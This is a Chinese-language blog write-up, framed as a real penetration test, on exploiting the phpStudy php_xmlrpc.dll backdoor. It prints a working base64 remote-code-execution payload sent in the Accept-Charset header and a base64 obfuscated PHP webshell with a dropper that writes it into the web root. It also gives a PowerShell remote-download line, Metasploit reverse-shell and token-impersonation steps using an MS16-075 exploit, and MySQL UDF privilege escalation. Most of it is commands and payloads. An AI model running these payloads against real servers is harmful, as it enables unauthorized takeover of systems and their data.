关于一次真实的渗透测试案例之phpstudy_rce

0x01 漏洞简介

2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,经过分析除了有反向连接木马之外,还可以正向执行任意php代码。

0x02影响版本

版本
phpStudy2016-php-5.2.17 -- phpStudy2016-php-5.4.45
phpStudy2018-php-5.2.17 -- phpStudy2018-php-5.4.45
具体需要根据 php_xmlrpc.dll模块是否植入后门代码

0x03环境

  • phpStudy2018-php-5.2.17

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DwuhDeaI-1677680942365)(D:\学习\笔记\tp\phpstudy\phpinfo.png)]

    0x04漏洞检测

    phpStudy2016路径:
    php\php-5.2.17\ext\php_xmlrpc.dll
    php\php-5.4.45\ext\php_xmlrpc.dll
    
    phpStudy2018路径:
    PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
    PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
    
    查看是否存在后门代码:
    '@eval'
    

    关于一次真实的渗透测试案例之phpstudy_rce_第1张图片

0x05漏洞测试

payload:
# 将要执行的代码进行Base64编码,例如:system('whoami');
Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
# 注意删除gzip,deflate之间的空格,否则不生效
Accept-Encoding: gzip,deflate  

关于一次真实的渗透测试案例之phpstudy_rce_第2张图片

0x06写入webshell

#webshell - 在创建对象时,调用析构函数,执行代码
<?php class C01 { public function __construct($sec){ @eval("/*ZG5zknRfSk*/".$sec.""); }}new C01($_REQUEST['cmd']);?> //进行base64加密
#payload
$b="PD9waHAgY2xhc3MgQzAxIHsgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRzZWMpeyBAZXZhbCgiLypaRzV6a25SZlNrKi8iLiRzZWMuIiIpOyB9fW5ldyBDMDEoJF9SRVFVRVNUWydjbWQnXSk7Pz4=";
$a=base64_decode($b);
fputs(fopen('C:\phpStudy-shell\PHPTutorial\WWW\1.php ','w'),$a);
#base64
JGI9IlBEOXdhSEFnWTJ4aGMzTWdRekF4SUhzZ2NIVmliR2xqSUdaMWJtTjBhVzl1SUY5ZlkyOXVjM1J5ZFdOMEtDUnpaV01wZXlCQVpYWmhiQ2dpTHlwYVJ6VjZhMjVTWmxOcktpOGlMaVJ6WldNdUlpSXBPeUI5Zlc1bGR5QkRNREVvSkY5U1JWRlZSVk5VV3lkamJXUW5YU2s3UHo0PSI7CiRhPWJhc2U2NF9kZWNvZGUoJGIpOwpmcHV0cyhmb3BlbignQzpccGhwU3R1ZHktc2hlbGxcUEhQVHV0b3JpYWxcV1dXXDEucGhwICcsJ3cnKSwkYSk7
#查看文件是否存在
system('dir C:\phpStudy-shell\PHPTutorial\WWW\  /w/o/s/p');
c3lzdGVtKCdkaXIgQzpccGhwU3R1ZHktc2hlbGxcUEhQVHV0b3JpYWxcV1dXXCAgL3cvby9zL3AnKTs=
#查看文件内容是否完整
system('type  C:\phpStudy-shell\PHPTutorial\WWW\1.php');
c3lzdGVtKCd0eXBlICBDOlxwaHBTdHVkeS1zaGVsbFxQSFBUdXRvcmlhbFxXV1dcMS5waHAnKTs=
#菜刀连接

关于一次真实的渗透测试案例之phpstudy_rce_第3张图片
关于一次真实的渗透测试案例之phpstudy_rce_第4张图片
关于一次真实的渗透测试案例之phpstudy_rce_第5张图片关于一次真实的渗透测试案例之phpstudy_rce_第6张图片

0x07上传大马

一句话木马作用有限,通过菜刀等工具上传php大马 - 为后续提权
后期使用大马进行提升权限 - 最终获取服务器权限 system/administrator权限

关于一次真实的渗透测试案例之phpstudy_rce_第7张图片关于一次真实的渗透测试案例之phpstudy_rce_第8张图片

0x08权限提升

当进行某项操作访问被拒绝时 - 就需要进行提升当前会话权限
可以通过大马进行信息收集 - 补丁筛选 - 利用系统溢出漏洞提权(MSF/特定EXP)
或者通过探针数据库类型 - 信息收集(root用户密码) - 利用特定数据库提权方式进行提权

关于一次真实的渗透测试案例之phpstudy_rce_第9张图片

win系统权限解释

关于一次真实的渗透测试案例之phpstudy_rce_第10张图片

信息收集

进行信息收集 - 这里利用系统溢出漏洞 - 进行提升权限至system权限
信息收集:当前用户权限、systeminfo系统信息等等 - 如下图:

Win提权命令

#命令                       	描述
systeminfo          	打印系统信息
whoami              	获得当前用户名
whoami /priv         	当前账户权限
ipconfig              	网络配置信息
ipconfig /displaydns        显示DNS缓存
route print                 打印出路由表
arp -a                      打印arp表
hostname                    主机名
net user                    列出用户
net user UserName           关于用户的信息
net user \SMBPATH Pa$$w0rd /u:UserName      连接SMB
net localgroup              列出所有组
net localgroup GROUP        关于指定组的信息
net view \127.0.0.1         会话打开到当前计算机
net session                 开发给其他机器
netsh firewall show config  显示防火墙配置
DRIVERQUERY               	列出安装的驱动
tasklist /svc               列出服务任务
net start                   列出启动的服务
dir /s foo                  在目录中搜索包含指定字符的项
dir /s foo == bar           同上
sc query                    列出所有服务
sc qc ServiceName           找到指定服务的路径
shutdown /r /t 0            立即重启
type file.txt               打印出内容
icacls "C:\Example"         列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn  列出已安装的补丁
(New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") 利用ps远程下载文件到本地
accesschk.exe -qwsu "Group"         修改对象(尝试Everyone,Authenticated Users和/或Users)
systeminfo信息
在收集系统信息时 - 使用systeminfo命令 - 通常使用重定向打印至文件中 - 方便看/不至于乱码/无回显等情况

关于一次真实的渗透测试案例之phpstudy_rce_第11张图片
关于一次真实的渗透测试案例之phpstudy_rce_第12张图片

0x09补丁筛选

通过导出的systeminfo信息 - 拿去使用wes或其它项目进行筛选补丁

关于一次真实的渗透测试案例之phpstudy_rce_第13张图片

推荐项目

GitHub - chroblert/WindowsVulnScan

GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation

GitHub - vulmon/Vulmap: Vulmap Online Local Vulnerability Scanners Project

github.com

提权补丁信息对比 (shentoushi.top)

0x10生成反弹shell

利用MSF生成反弹shell - 获取一个session - 后期进行提权漏洞利用
也可以利用特定EXP - 直接利用漏洞 - 进行提权

关于一次真实的渗透测试案例之phpstudy_rce_第14张图片
关于一次真实的渗透测试案例之phpstudy_rce_第15张图片
关于一次真实的渗透测试案例之phpstudy_rce_第16张图片

0x11利用溢出漏洞提权

这时已经有了一个反弹shell会话 - 利用补丁筛选出的提权漏洞 - 进行提权 - system权限
#MSF也有自带补丁检测模块 
这里先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
#检测提权模块
post/windows/gather/enum_patches
multi/recon/local_exploit_suggester
# 这个网站进行查找/或其它方式 - 相应系统版本 - 漏洞编号
https://www.shentoushi.top/av/kb.php

关于一次真实的渗透测试案例之phpstudy_rce_第17张图片

关于一次真实的渗透测试案例之phpstudy_rce_第18张图片
关于一次真实的渗透测试案例之phpstudy_rce_第19张图片
关于一次真实的渗透测试案例之phpstudy_rce_第20张图片

关于一次真实的渗透测试案例之phpstudy_rce_第21张图片

0x12利用特定EXP提权

windows-exploit-suggester的功能就如它的名字一样,当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用。但是由于该工具先是假设一个系统存在所有的相关漏洞,然后根据补丁信息再去排除,所以就导致误报率会高一点,例如一台机器没有启用iis服务,但是可能该工具会误报存在IIS相关漏洞
可以尝试多个项目 - 得到准确的(result)结果
通过此款工具 - 进行搜索EXP 或 通过网络搜索漏洞编号 - 找到特定EXP

关于一次真实的渗透测试案例之phpstudy_rce_第22张图片

MS16-075 EXP提权

#利用GitHub下载ms16-075的exp提权
下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
#下载好后通过meterpreter进行上传
upload /home/hdh/potato.exe c:/ - 或使用大马进行上传
#然后执行如下命令:
use incognito:加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u:列出目标主机用户的可用令牌
#继续执行如下命令:
execute -CH -f c:/potato.exe 创建新的进程
list_tokens -u 列出目标主机的可用令牌
impersonate_token “NT AUTHORITY\SYSTEM” 假冒目标主机上的可用令牌
#查看当前用户
getuid

关于一次真实的渗透测试案例之phpstudy_rce_第23张图片

关于一次真实的渗透测试案例之phpstudy_rce_第24张图片

推荐EXP项目

SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)

0x13利用数据库提权

通过探针到数据库类型版本 - 收集到数据库信息密码 - Mysql UDF提权 - 利用数据库提升权限

关于一次真实的渗透测试案例之phpstudy_rce_第25张图片

关于一次真实的渗透测试案例之phpstudy_rce_第26张图片

关于一次真实的渗透测试案例之phpstudy_rce_第27张图片

关于一次真实的渗透测试案例之phpstudy_rce_第28张图片

#这里注意在利用MySQL - UDF提权时 - 分辨数据库版本 - 来判断dll文件导出在哪个目录
mysql<5.1 导出目录 c:/windows 或 system32
mysql=>5.1 导出到 安装目录/lib/plugin/ - 注意 mysql>5.1需要手工创建 plugin 目录或利用 NTFS 流创建

关于一次真实的渗透测试案例之phpstudy_rce_第29张图片

关于一次真实的渗透测试案例之phpstudy_rce_第30张图片

关于一次真实的渗透测试案例之phpstudy_rce_第31张图片

#换了一款暗月的mysql提权大马 - 报出"The MySQL server is running with the --secure-file-priv option so it cannot execute this statement" 错误
通过网上查询 - 发现是MySQL 对于导入导出的目录是有限制的,只允许指定的目录才能导入导出.此处变量值为 NULL,即没设置允许操作的目录,所以没法导出到文件。
#查看系统变量 secure_file_priv
show variables like '%secure%';
#设置导出目录路径
通过上传数据库配置文件 - my.ini - 覆盖原有配置文件 - 重启数据库服务(具体方法自己想)

关于一次真实的渗透测试案例之phpstudy_rce_第32张图片

关于一次真实的渗透测试案例之phpstudy_rce_第33张图片

关于一次真实的渗透测试案例之phpstudy_rce_第34张图片

关于一次真实的渗透测试案例之phpstudy_rce_第35张图片

关于一次真实的渗透测试案例之phpstudy_rce_第36张图片

关于一次真实的渗透测试案例之phpstudy_rce_第37张图片

关于一次真实的渗透测试案例之phpstudy_rce_第38张图片

这里还是用的暗月的mysql提权脚本,上面一款有时候会出现先问题,可能因为本地环境问题

关于一次真实的渗透测试案例之phpstudy_rce_第39张图片
关于一次真实的渗透测试案例之phpstudy_rce_第40张图片

你可能感兴趣的:(渗透测试,漏洞复现,WEB,安全性测试)